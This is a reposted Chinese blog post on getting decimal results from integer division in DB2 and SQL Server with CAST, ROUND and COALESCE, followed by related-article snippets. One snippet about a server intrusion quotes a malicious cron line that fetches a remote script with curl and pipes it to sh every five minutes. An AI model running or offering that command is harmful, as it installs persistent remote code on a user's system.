转自:http://blog.sina.com.cn/s/blog_8020e41101019k7t.html

SELECT field1/field2 FROM TB;

  当 field1的数值 > field2的数值时,除法得出的结果是<1的,即0.xxxxxx

  这个时候在DB2的环境下SELECT出来的值是0

解決方法:

先把field1转换成DOUBLE类型的,这样计算出来的就会得出小数点了,会显示出0.xxxx

SELECT CAST(field1 AS FLOAT)/field2 FROM TB;

ps.網上搜的資料,寫的是double,但在SQL Server2008中一直報錯,改成FLOAT就沒問題了。

小數點後顯示4位小數。

 可以進一步四舍五入,保留两位小数点

SELECT ROUND(CAST(field1 AS DOUBLE)/field2, 2) FROM TB;

不過因為我要用到百分比,就改成了

SELECT CAST(field1 AS FLOAT)/field2 * 100 FROM TB;

然後再頁面顯示時再加上“%”

如果数据列的值为NULL,将其设置为0,那么sql就要这么写

  SELECT ROUND(COALESCE(CAST(field1 AS DOUBLE), 0)/field2, 2) FROM TB;

  COALESCE这个函数系统的用法如下:

  a. 输入参数为字符类型,且允许为空的,可以使用COALESCE(inputParameter,”)把NULL转换成”;

  b. 输入类型为整型,且允许为空的,可以使用COALESCE(inputParameter,0),把空转换成0;

  c. 输入参数为字符类型,且是非空非空格的,可以使用COALESCE(inputParameter,”)把NULL转换成”,然后判断函数返回值是否为”;

  d. 输入类型为整型,且是非空的,不需要使用COALESCE函数,直接使用IS NULL进行非空判断。

----------------------------------------------------------------

备注:

CAST函数用来类型转换

ROUND函数用来控制小数位数

SQLServer中进行sql除法运算结果为小数时显示0的解决方案的更多相关文章

  1. sql 除法运算 保留两位小数

    sql 除法运算 保留两位小数 SELECT 1530/60 select cast(1530*1./60 as decimal(18,1))

  2. 将*.sql数据库脚本导入到sqlserver中(sql文件导入sqlserver)

    在SqlServer中这个是用生成sql脚本生成的 要是在导入数据库用数据导入/导出向导导不进去 其实要用查询分析器来打开sql文件 然后执行就可以了

  3. 在SqlServer中通过SQL语句实现树状查询

    CREATE PROCEDURE [dbo].[GetTree] @Id int AS BEGIN with cte as ( as lvl from Entity where Id = @Id un ...

  4. sqlserver中判断是数字(会自动将.3识别为0.3)

    SQL Server 检测是不是数字型的数据(两种方法) 检测是不是数字型的数据, 两种方法 1. ISNUMERIC ( expression ) 2. PATINDEX ( '%pattern%' ...

  5. C++->10.3.5.从键盘上输入职工的编号,从职工信息文件中查找该职工资料,查找成功时显示职工姓名、电话号码,邮政编码和地址。

    p=getchar(); }  printf("\n"); rewind(in);         //文件流指针移到文件开始位置 p=fgetc(in); while(!feof ...

  6. Sqlserver中的视图

    一.视图的基本知识 什么是视图:视图是从一个或多个表导出的虚拟的表,具有普通表的结构,物理上是不存在的.视图是动态的数据的集合,数据是随着基表的更新而更新. 视图的优点: ①在多表查询时,查询方便. ...

  7. 在mybatis中写sql语句的一些体会

    本文会使用一个案例,就mybatis的一些基础语法进行讲解.案例中使用到的数据库表和对象如下: article表:这个表存放的是文章的基础信息 -- ------------------------- ...

  8. sql server 中进行除法运算时,如何得到结果是小数形式呢?

    我们正常进行除法运算时,sql默认是返回一个四舍五入的数 比如12除以5,17除以3 --算法1:返回结果:2 需要的是2.40 ) as 结果1 --算法2:返回结果:5 需要的是5.67 ) as ...

  9. 知方可补不足~sqlserver中使用sp_who查看sql的进程

    回到目录 在SQLSERVER中每个会话,即每个查询分析器窗口都会产生一个SQL进程,对于那些持续时间短的进程,它们转瞬即失,而对于持续时间比较长的,我们需要希望查看它的运行状态,就可以借助SQL提供 ...

随机推荐

  1. [转载]Windows x64下配置ffmpeg的方法

    ffmpeg简介 FFmpeg 是一款跨平台的,对视频.音频进行录制.转换.播放的命令行形式软件,它使用的是 libavcodec 编解码器.FFmpeg 官方网站是 http://ffmpeg.or ...

  2. CentOS 7 修改网卡名

    假设原网卡名为eth1, 那么在 /etc/sysconfig/network-scripts/ 目录下,必定会存在一个文件名为ifcfg-eth1,和网卡名对应, 这里假设要修改为eth0. 方法一 ...

  3. curl定时任务下载执行

    服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...

  4. (原+转)使用anaconda遇到的问题

    转载请注明出处: http://www.cnblogs.com/darkknightzh/p/6669434.html 使用anaconda怎么感觉都是问题啊.... 1. Intel MKL FAT ...

  5. 【转】Kafka 之 中级

    摘要: Kafka配置介绍,原理介绍及生产者,消费者Java基本使用方法. 1.    配置 Ø  Broker主要配置 参数 默认值 说明(解释) broker.id =0   每一个broker在 ...

  6. 进阶之路(中级篇) - 015 串口控RGB三色灯

    本文由博主原创,如有不对之处请指明,转载请说明出处. /********************************* 代码功能:串口控RGB三色灯 使用函数: Serial.flush(); / ...

  7. magento直接操作数据库

    查:     $read = Mage::getSingleton("core/resource")->getConnection('core_read');     $sq ...

  8. 细说PHP中strlen和mb_strlen的区别(转)

    在PHP中,strlen与mb_strlen是求字符串长度的函数,但是对于一些初学者来说,如果不看手册,也许不太清楚其中的区别.下面通过例子,讲解这两者之间的区别. 先看例子: <?php // ...

  9. 关于使用coreseek并为其做分页的介绍(转)

    coreseek 做分页时找数据总量还真不好找.以为他会给一个方法(函数)什么的去获取,结果却不是.首先需要了解:num_matches: 当前返回的结果数,<= limit设置值.max_ma ...

  10. 利用hadoop来解决“共同好友”的问题

    假设A有好友B C D:B有好友A C D E:C有好友A B D E:D有好友A B C E;E有好友B C D. A -> B C D B -> A C D E C -> A B ...